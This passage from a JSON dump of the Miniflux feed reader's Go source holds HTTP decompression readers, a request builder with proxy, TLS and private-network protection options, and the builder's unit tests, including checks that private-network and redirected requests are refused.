    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage fetcher // import \"miniflux.app/v2/internal/reader/fetcher\"\n\nimport (\n\t\"compress/gzip\"\n\t\"io\"\n\n\t\"github.com/andybalholm/brotli\"\n)\n\ntype brotliReadCloser struct {\n\tbody         io.ReadCloser\n\tbrotliReader io.Reader\n}\n\nfunc NewBrotliReadCloser(body io.ReadCloser) *brotliReadCloser {\n\treturn &brotliReadCloser{\n\t\tbody:         body,\n\t\tbrotliReader: brotli.NewReader(body),\n\t}\n}\n\nfunc (b *brotliReadCloser) Read(p []byte) (n int, err error) {\n\treturn b.brotliReader.Read(p)\n}\n\nfunc (b *brotliReadCloser) Close() error {\n\treturn b.body.Close()\n}\n\ntype gzipReadCloser struct {\n\tbody       io.ReadCloser\n\tgzipReader io.Reader\n\tgzipErr    error\n}\n\nfunc NewGzipReadCloser(body io.ReadCloser) *gzipReadCloser {\n\treturn &gzipReadCloser{body: body}\n}\n\nfunc (gz *gzipReadCloser) Read(p []byte) (n int, err error) {\n\tif gz.gzipReader == nil {\n\t\tif gz.gzipErr == nil {\n\t\t\tgz.gzipReader, gz.gzipErr = gzip.NewReader(gz.body)\n\t\t}\n\t\tif gz.gzipErr != nil {\n\t\t\treturn 0, gz.gzipErr\n\t\t}\n\t}\n\n\treturn gz.gzipReader.Read(p)\n}\n\nfunc (gz *gzipReadCloser) Close() error {\n\treturn gz.body.Close()\n}\n"
  },
  {
    "path": "internal/reader/fetcher/request_builder.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage fetcher // import \"miniflux.app/v2/internal/reader/fetcher\"\n\nimport (\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"slices\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\nconst (\n\tdefaultHTTPClientTimeout = 20 * time.Second\n\tdefaultAcceptHeader      = \"application/xml,application/atom+xml,application/rss+xml,application/rdf+xml,application/feed+json,text/html,*/*;q=0.9\"\n)\n\nvar (\n\tErrHostnameResolution = errors.New(\"fetcher: unable to resolve request hostname\")\n\tErrPrivateNetworkHost = errors.New(\"fetcher: refusing to access private network host\")\n)\n\ntype RequestBuilder struct {\n\theaders            http.Header\n\tclientProxyURL     *url.URL\n\tclientTimeout      time.Duration\n\tuseClientProxy     bool\n\twithoutRedirects   bool\n\tignoreTLSErrors    bool\n\tdisableHTTP2       bool\n\tdisableCompression bool\n\tproxyRotator       *proxyrotator.ProxyRotator\n\tfeedProxyURL       string\n}\n\nfunc NewRequestBuilder() *RequestBuilder {\n\treturn &RequestBuilder{\n\t\theaders:       make(http.Header),\n\t\tclientTimeout: defaultHTTPClientTimeout,\n\t}\n}\n\nfunc (r *RequestBuilder) WithHeader(key, value string) *RequestBuilder {\n\tr.headers.Set(key, value)\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithETag(etag string) *RequestBuilder {\n\tif etag != \"\" {\n\t\tr.headers.Set(\"If-None-Match\", etag)\n\t}\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithLastModified(lastModified string) *RequestBuilder {\n\tif lastModified != \"\" {\n\t\tr.headers.Set(\"If-Modified-Since\", lastModified)\n\t}\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithUserAgent(userAgent string, defaultUserAgent string) *RequestBuilder {\n\tif userAgent != \"\" {\n\t\tr.headers.Set(\"User-Agent\", userAgent)\n\t} else {\n\t\tr.headers.Set(\"User-Agent\", defaultUserAgent)\n\t}\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithCookie(cookie string) *RequestBuilder {\n\tif cookie != \"\" {\n\t\tr.headers.Set(\"Cookie\", cookie)\n\t}\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithUsernameAndPassword(username, password string) *RequestBuilder {\n\tif username != \"\" && password != \"\" {\n\t\tr.headers.Set(\"Authorization\", \"Basic \"+base64.StdEncoding.EncodeToString([]byte(username+\":\"+password)))\n\t}\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithProxyRotator(proxyRotator *proxyrotator.ProxyRotator) *RequestBuilder {\n\tr.proxyRotator = proxyRotator\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithCustomApplicationProxyURL(proxyURL *url.URL) *RequestBuilder {\n\tr.clientProxyURL = proxyURL\n\treturn r\n}\n\nfunc (r *RequestBuilder) UseCustomApplicationProxyURL(value bool) *RequestBuilder {\n\tr.useClientProxy = value\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithCustomFeedProxyURL(proxyURL string) *RequestBuilder {\n\tr.feedProxyURL = proxyURL\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithTimeout(timeout time.Duration) *RequestBuilder {\n\tr.clientTimeout = timeout\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithoutRedirects() *RequestBuilder {\n\tr.withoutRedirects = true\n\treturn r\n}\n\nfunc (r *RequestBuilder) DisableHTTP2(value bool) *RequestBuilder {\n\tr.disableHTTP2 = value\n\treturn r\n}\n\nfunc (r *RequestBuilder) IgnoreTLSErrors(value bool) *RequestBuilder {\n\tr.ignoreTLSErrors = value\n\treturn r\n}\n\nfunc (r *RequestBuilder) WithoutCompression() *RequestBuilder {\n\tr.disableCompression = true\n\treturn r\n}\n\nfunc (r *RequestBuilder) ExecuteRequest(requestURL string) (*http.Response, error) {\n\tdialer := &net.Dialer{\n\t\tTimeout:   10 * time.Second, // Default is 30s.\n\t\tKeepAlive: 15 * time.Second, // Default is 30s.\n\t}\n\n\t// Perform the private-network check inside the dialer's Control callback,\n\t// which fires after DNS resolution but before the TCP connection is made.\n\t// This eliminates TOCTOU / DNS-rebinding vulnerabilities: the resolved IP\n\t// that is checked is exactly the IP that will be connected to.\n\tallowPrivateNetworks := config.Opts == nil || config.Opts.FetcherAllowPrivateNetworks()\n\tif !allowPrivateNetworks {\n\t\tdialer.Control = func(network, address string, c syscall.RawConn) error {\n\t\t\thost, _, err := net.SplitHostPort(address)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tip := net.ParseIP(host)\n\t\t\tif urllib.IsNonPublicIP(ip) {\n\t\t\t\treturn fmt.Errorf(\"%w %q\", ErrPrivateNetworkHost, host)\n\t\t\t}\n\n\t\t\treturn nil\n\t\t}\n\t}\n\n\ttransport := &http.Transport{\n\t\tProxy: http.ProxyFromEnvironment,\n\t\t// Setting `DialContext` disables HTTP/2, this option forces the transport to try HTTP/2 regardless.\n\t\tForceAttemptHTTP2: true,\n\t\tDialContext:       dialer.DialContext,\n\t\tMaxIdleConns:      50,               // Default is 100.\n\t\tIdleConnTimeout:   10 * time.Second, // Default is 90s.\n\t}\n\n\tif r.ignoreTLSErrors {\n\t\t//  Add insecure ciphers if we are ignoring TLS errors. This allows to connect to badly configured servers anyway\n\t\tciphers := slices.Concat(tls.CipherSuites(), tls.InsecureCipherSuites())\n\t\tcipherSuites := make([]uint16, 0, len(ciphers))\n\t\tfor _, cipher := range ciphers {\n\t\t\tcipherSuites = append(cipherSuites, cipher.ID)\n\t\t}\n\t\ttransport.TLSClientConfig = &tls.Config{\n\t\t\tCipherSuites:       cipherSuites,\n\t\t\tInsecureSkipVerify: true,\n\t\t}\n\t}\n\n\tif r.disableHTTP2 {\n\t\ttransport.ForceAttemptHTTP2 = false\n\n\t\t// https://pkg.go.dev/net/http#hdr-HTTP_2\n\t\t// Programs that must disable HTTP/2 can do so by setting [Transport.TLSNextProto] (for clients) or [Server.TLSNextProto] (for servers) to a non-nil, empty map.\n\t\ttransport.TLSNextProto = map[string]func(string, *tls.Conn) http.RoundTripper{}\n\t}\n\n\tvar clientProxyURL *url.URL\n\n\tswitch {\n\tcase r.feedProxyURL != \"\":\n\t\tvar err error\n\t\tclientProxyURL, err = url.Parse(r.feedProxyURL)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`fetcher: invalid feed proxy URL %q: %w`, r.feedProxyURL, err)\n\t\t}\n\tcase r.useClientProxy && r.clientProxyURL != nil:\n\t\tclientProxyURL = r.clientProxyURL\n\tcase r.proxyRotator != nil && r.proxyRotator.HasProxies():\n\t\tclientProxyURL = r.proxyRotator.GetNextProxy()\n\t}\n\n\tvar clientProxyURLRedacted string\n\tif clientProxyURL != nil {\n\t\ttransport.Proxy = http.ProxyURL(clientProxyURL)\n\t\tclientProxyURLRedacted = clientProxyURL.Redacted()\n\t}\n\n\tclient := &http.Client{\n\t\tTimeout: r.clientTimeout,\n\t}\n\n\tif r.withoutRedirects {\n\t\tclient.CheckRedirect = func(req *http.Request, via []*http.Request) error {\n\t\t\treturn http.ErrUseLastResponse\n\t\t}\n\t}\n\n\tclient.Transport = transport\n\n\treq, err := http.NewRequest(\"GET\", requestURL, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header = r.headers\n\tif r.disableCompression {\n\t\treq.Header.Set(\"Accept-Encoding\", \"identity\")\n\t} else {\n\t\treq.Header.Set(\"Accept-Encoding\", \"br,gzip\")\n\t}\n\n\t// Set default Accept header if not already set.\n\t// Note that for the media proxy requests, we need to forward the browser Accept header.\n\tif req.Header.Get(\"Accept\") == \"\" {\n\t\treq.Header.Set(\"Accept\", defaultAcceptHeader)\n\t}\n\n\treq.Header.Set(\"Connection\", \"close\")\n\n\tslog.Debug(\"Making outgoing request\", slog.Group(\"request\",\n\t\tslog.String(\"method\", req.Method),\n\t\tslog.String(\"url\", req.URL.String()),\n\t\tslog.Any(\"headers\", req.Header),\n\t\tslog.Bool(\"without_redirects\", r.withoutRedirects),\n\t\tslog.Bool(\"use_app_client_proxy\", r.useClientProxy),\n\t\tslog.String(\"client_proxy_url\", clientProxyURLRedacted),\n\t\tslog.Bool(\"ignore_tls_errors\", r.ignoreTLSErrors),\n\t\tslog.Bool(\"disable_http2\", r.disableHTTP2),\n\t))\n\n\treturn client.Do(req)\n}\n"
  },
  {
    "path": "internal/reader/fetcher/request_builder_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage fetcher // import \"miniflux.app/v2/internal/reader/fetcher\"\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nfunc TestNewRequestBuilder(t *testing.T) {\n\tbuilder := NewRequestBuilder()\n\tif builder == nil {\n\t\tt.Fatal(\"NewRequestBuilder should not return nil\")\n\t}\n\tif builder.clientTimeout != defaultHTTPClientTimeout {\n\t\tt.Errorf(\"Expected default timeout %d, got %d\", defaultHTTPClientTimeout, builder.clientTimeout)\n\t}\n\tif builder.headers == nil {\n\t\tt.Fatal(\"Headers should be initialized\")\n\t}\n}\n\nfunc TestRequestBuilder_WithHeader(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Header.Get(\"Custom-Header\") != \"custom-value\" {\n\t\t\tt.Errorf(\"Expected Custom-Header to be 'custom-value', got '%s'\", r.Header.Get(\"Custom-Header\"))\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tresp, err := builder.WithHeader(\"Custom-Header\", \"custom-value\").ExecuteRequest(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n}\n\nfunc TestRequestBuilder_WithETag(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tetag     string\n\t\texpected string\n\t}{\n\t\t{\"with etag\", \"test-etag\", \"test-etag\"},\n\t\t{\"empty etag\", \"\", \"\"},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif r.Header.Get(\"If-None-Match\") != tt.expected {\n\t\t\t\t\tt.Errorf(\"Expected If-None-Match to be '%s', got '%s'\", tt.expected, r.Header.Get(\"If-None-Match\"))\n\t\t\t\t}\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t}))\n\t\t\tdefer server.Close()\n\n\t\t\tbuilder := NewRequestBuilder()\n\t\t\tresp, err := builder.WithETag(tt.etag).ExecuteRequest(server.URL)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t\t\t}\n\t\t\tdefer resp.Body.Close()\n\t\t})\n\t}\n}\n\nfunc TestRequestBuilder_WithLastModified(t *testing.T) {\n\ttests := []struct {\n\t\tname         string\n\t\tlastModified string\n\t\texpected     string\n\t}{\n\t\t{\"with last modified\", \"Mon, 02 Jan 2006 15:04:05 GMT\", \"Mon, 02 Jan 2006 15:04:05 GMT\"},\n\t\t{\"empty last modified\", \"\", \"\"},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif r.Header.Get(\"If-Modified-Since\") != tt.expected {\n\t\t\t\t\tt.Errorf(\"Expected If-Modified-Since to be '%s', got '%s'\", tt.expected, r.Header.Get(\"If-Modified-Since\"))\n\t\t\t\t}\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t}))\n\t\t\tdefer server.Close()\n\n\t\t\tbuilder := NewRequestBuilder()\n\t\t\tresp, err := builder.WithLastModified(tt.lastModified).ExecuteRequest(server.URL)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t\t\t}\n\t\t\tdefer resp.Body.Close()\n\t\t})\n\t}\n}\n\nfunc TestRequestBuilder_WithUserAgent(t *testing.T) {\n\ttests := []struct {\n\t\tname           string\n\t\tuserAgent      string\n\t\tdefaultAgent   string\n\t\texpectedHeader string\n\t}{\n\t\t{\"custom user agent\", \"CustomAgent/1.0\", \"DefaultAgent/1.0\", \"CustomAgent/1.0\"},\n\t\t{\"default user agent\", \"\", \"DefaultAgent/1.0\", \"DefaultAgent/1.0\"},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif r.Header.Get(\"User-Agent\") != tt.expectedHeader {\n\t\t\t\t\tt.Errorf(\"Expected User-Agent to be '%s', got '%s'\", tt.expectedHeader, r.Header.Get(\"User-Agent\"))\n\t\t\t\t}\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t}))\n\t\t\tdefer server.Close()\n\n\t\t\tbuilder := NewRequestBuilder()\n\t\t\tresp, err := builder.WithUserAgent(tt.userAgent, tt.defaultAgent).ExecuteRequest(server.URL)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t\t\t}\n\t\t\tdefer resp.Body.Close()\n\t\t})\n\t}\n}\n\nfunc TestRequestBuilder_WithCookie(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tcookie   string\n\t\texpected string\n\t}{\n\t\t{\"with cookie\", \"session=abc123; lang=en\", \"session=abc123; lang=en\"},\n\t\t{\"empty cookie\", \"\", \"\"},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif r.Header.Get(\"Cookie\") != tt.expected {\n\t\t\t\t\tt.Errorf(\"Expected Cookie to be '%s', got '%s'\", tt.expected, r.Header.Get(\"Cookie\"))\n\t\t\t\t}\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t}))\n\t\t\tdefer server.Close()\n\n\t\t\tbuilder := NewRequestBuilder()\n\t\t\tresp, err := builder.WithCookie(tt.cookie).ExecuteRequest(server.URL)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t\t\t}\n\t\t\tdefer resp.Body.Close()\n\t\t})\n\t}\n}\n\nfunc TestRequestBuilder_WithUsernameAndPassword(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tusername string\n\t\tpassword string\n\t\texpected string\n\t}{\n\t\t{\"with credentials\", \"test\", \"password\", \"Basic dGVzdDpwYXNzd29yZA==\"}, // base64 of \"test:password\"\n\t\t{\"empty username\", \"\", \"password\", \"\"},\n\t\t{\"empty password\", \"test\", \"\", \"\"},\n\t\t{\"both empty\", \"\", \"\", \"\"},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif r.Header.Get(\"Authorization\") != tt.expected {\n\t\t\t\t\tt.Errorf(\"Expected Authorization to be '%s', got '%s'\", tt.expected, r.Header.Get(\"Authorization\"))\n\t\t\t\t}\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t}))\n\t\t\tdefer server.Close()\n\n\t\t\tbuilder := NewRequestBuilder()\n\t\t\tresp, err := builder.WithUsernameAndPassword(tt.username, tt.password).ExecuteRequest(server.URL)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t\t\t}\n\t\t\tdefer resp.Body.Close()\n\t\t})\n\t}\n}\n\nfunc TestRequestBuilder_DefaultAcceptHeader(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Header.Get(\"Accept\") != defaultAcceptHeader {\n\t\t\tt.Errorf(\"Expected Accept to be '%s', got '%s'\", defaultAcceptHeader, r.Header.Get(\"Accept\"))\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tresp, err := builder.ExecuteRequest(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n}\n\nfunc TestRequestBuilder_CustomAcceptHeaderNotOverridden(t *testing.T) {\n\tcustomAccept := \"application/json\"\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Header.Get(\"Accept\") != customAccept {\n\t\t\tt.Errorf(\"Expected Accept to be '%s', got '%s'\", customAccept, r.Header.Get(\"Accept\"))\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tresp, err := builder.WithHeader(\"Accept\", customAccept).ExecuteRequest(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n}\n\nfunc TestRequestBuilder_WithTimeout(t *testing.T) {\n\tbuilder := NewRequestBuilder()\n\tbuilder = builder.WithTimeout(30 * time.Second)\n\n\tif builder.clientTimeout != 30*time.Second {\n\t\tt.Errorf(\"Expected timeout to be 30, got %d\", builder.clientTimeout)\n\t}\n}\n\nfunc TestRequestBuilder_WithoutRedirects(t *testing.T) {\n\t// Create a redirect server\n\tredirectServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer redirectServer.Close()\n\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, redirectServer.URL, http.StatusFound)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tresp, err := builder.WithoutRedirects().ExecuteRequest(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusFound {\n\t\tt.Errorf(\"Expected status code %d, got %d\", http.StatusFound, resp.StatusCode)\n\t}\n}\n\nfunc TestRequestBuilder_DisableHTTP2(t *testing.T) {\n\tbuilder := NewRequestBuilder()\n\tbuilder = builder.DisableHTTP2(true)\n\n\tif !builder.disableHTTP2 {\n\t\tt.Error(\"Expected disableHTTP2 to be true\")\n\t}\n}\n\nfunc TestRequestBuilder_IgnoreTLSErrors(t *testing.T) {\n\tbuilder := NewRequestBuilder()\n\tbuilder = builder.IgnoreTLSErrors(true)\n\n\tif !builder.ignoreTLSErrors {\n\t\tt.Error(\"Expected ignoreTLSErrors to be true\")\n\t}\n}\n\nfunc TestRequestBuilder_WithoutCompression(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Header.Get(\"Accept-Encoding\") != \"identity\" {\n\t\t\tt.Errorf(\"Expected Accept-Encoding to be 'identity', got '%s'\", r.Header.Get(\"Accept-Encoding\"))\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tresp, err := builder.WithoutCompression().ExecuteRequest(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n}\n\nfunc TestRequestBuilder_WithCompression(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Header.Get(\"Accept-Encoding\") != \"br,gzip\" {\n\t\t\tt.Errorf(\"Expected Accept-Encoding to be 'br,gzip', got '%s'\", r.Header.Get(\"Accept-Encoding\"))\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tresp, err := builder.ExecuteRequest(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n}\n\nfunc TestRequestBuilder_ConnectionCloseHeader(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Header.Get(\"Connection\") != \"close\" {\n\t\t\tt.Errorf(\"Expected Connection to be 'close', got '%s'\", r.Header.Get(\"Connection\"))\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tresp, err := builder.ExecuteRequest(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n}\n\nfunc TestRequestBuilder_WithCustomApplicationProxyURL(t *testing.T) {\n\tproxyURL, _ := url.Parse(\"http://proxy.example.com:8080\")\n\tbuilder := NewRequestBuilder()\n\tbuilder = builder.WithCustomApplicationProxyURL(proxyURL)\n\n\tif builder.clientProxyURL != proxyURL {\n\t\tt.Error(\"Expected clientProxyURL to be set\")\n\t}\n}\n\nfunc TestRequestBuilder_UseCustomApplicationProxyURL(t *testing.T) {\n\tbuilder := NewRequestBuilder()\n\tbuilder = builder.UseCustomApplicationProxyURL(true)\n\n\tif !builder.useClientProxy {\n\t\tt.Error(\"Expected useClientProxy to be true\")\n\t}\n}\n\nfunc TestRequestBuilder_WithCustomFeedProxyURL(t *testing.T) {\n\tproxyURL := \"http://feed-proxy.example.com:8080\"\n\tbuilder := NewRequestBuilder()\n\tbuilder = builder.WithCustomFeedProxyURL(proxyURL)\n\n\tif builder.feedProxyURL != proxyURL {\n\t\tt.Errorf(\"Expected feedProxyURL to be '%s', got '%s'\", proxyURL, builder.feedProxyURL)\n\t}\n}\n\nfunc TestRequestBuilder_ChainedMethods(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t// Check multiple headers\n\t\tif r.Header.Get(\"User-Agent\") != \"TestAgent/1.0\" {\n\t\t\tt.Errorf(\"Expected User-Agent to be 'TestAgent/1.0', got '%s'\", r.Header.Get(\"User-Agent\"))\n\t\t}\n\t\tif r.Header.Get(\"Cookie\") != \"test=value\" {\n\t\t\tt.Errorf(\"Expected Cookie to be 'test=value', got '%s'\", r.Header.Get(\"Cookie\"))\n\t\t}\n\t\tif r.Header.Get(\"If-None-Match\") != \"etag123\" {\n\t\t\tt.Errorf(\"Expected If-None-Match to be 'etag123', got '%s'\", r.Header.Get(\"If-None-Match\"))\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tresp, err := builder.\n\t\tWithUserAgent(\"TestAgent/1.0\", \"DefaultAgent/1.0\").\n\t\tWithCookie(\"test=value\").\n\t\tWithETag(\"etag123\").\n\t\tWithTimeout(10 * time.Second).\n\t\tExecuteRequest(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n}\n\nfunc TestRequestBuilder_InvalidURL(t *testing.T) {\n\tbuilder := NewRequestBuilder()\n\t_, err := builder.ExecuteRequest(\"invalid-url\")\n\tif err == nil {\n\t\tt.Error(\"Expected error for invalid URL\")\n\t}\n}\n\nfunc TestRequestBuilder_RefusePrivateNetworkByDefault(t *testing.T) {\n\tconfigureFetcherAllowPrivateNetworksOption(t, \"0\")\n\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\t_, err := builder.ExecuteRequest(server.URL)\n\tif err == nil {\n\t\tt.Fatal(\"Expected private network request to be rejected\")\n\t}\n\n\tif !strings.Contains(err.Error(), \"refusing to access private network host\") {\n\t\tt.Fatalf(\"Unexpected error for private network request: %v\", err)\n\t}\n}\n\nfunc TestRequestBuilder_AllowPrivateNetworkWhenEnabled(t *testing.T) {\n\tconfigureFetcherAllowPrivateNetworksOption(t, \"1\")\n\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tresp, err := builder.ExecuteRequest(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected private network request to succeed when enabled: %v\", err)\n\t}\n\tdefer resp.Body.Close()\n}\n\nfunc TestRequestBuilder_RefusePrivateNetworkOnRedirect(t *testing.T) {\n\tconfigureFetcherAllowPrivateNetworksOption(t, \"0\")\n\n\t// Target server on a loopback address (private).\n\tprivateServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer privateServer.Close()\n\n\t// Redirector that sends the client to the private server.\n\t// Because the Control callback checks the IP at connection time, the\n\t// redirect target is also validated (unlike a pre-flight DNS check).\n\tredirectServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, privateServer.URL, http.StatusFound)\n\t}))\n\tdefer redirectServer.Close()\n\n\tbuilder := NewRequestBuilder()\n\t_, err := builder.ExecuteRequest(redirectServer.URL)\n\tif err == nil {\n\t\tt.Fatal(\"Expected redirect to private network to be rejected\")\n\t}\n\n\tif !strings.Contains(err.Error(), \"refusing to access private network host\") {\n\t\tt.Fatalf(\"Unexpected error for redirected private network request: %v\", err)\n\t}\n}\n\nfunc TestRequestBuilder_TimeoutConfiguration(t *testing.T) {\n\t// Create a slow server\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\ttime.Sleep(2 * time.Second)\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tbuilder := NewRequestBuilder()\n\tstart := time.Now()\n\t_, err := builder.WithTimeout(1 * time.Second).ExecuteRequest(server.URL)\n\tduration := time.Since(start)\n\n\tif err == nil {\n\t\tt.Error(\"Expected timeout error\")\n\t}\n\n\t// Should timeout around 1 second, allow some margin\n\tif duration > 1500*time.Millisecond {\n\t\tt.Errorf(\"Expected timeout around 1s, took %v\", duration)\n\t}\n}\n\nfunc configureFetcherAllowPrivateNetworksOption(t *testing.T, value string) {\n\tt.Helper()\n\n\tt.Setenv(\"FETCHER_ALLOW_PRIVATE_NETWORKS\", value)\n\n\tconfigParser := config.NewConfigParser()\n\tparsedOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to configure test options: %v\", err)\n\t}\n\n\tpreviousOptions := config.Opts\n\tconfig.Opts = parsedOptions\n\tt.Cleanup(func() {\n\t\tconfig.Opts = previousOptions\n\t})\n}\n"
  },
  {
    "path": "internal/reader/fetcher/response_handler.go",
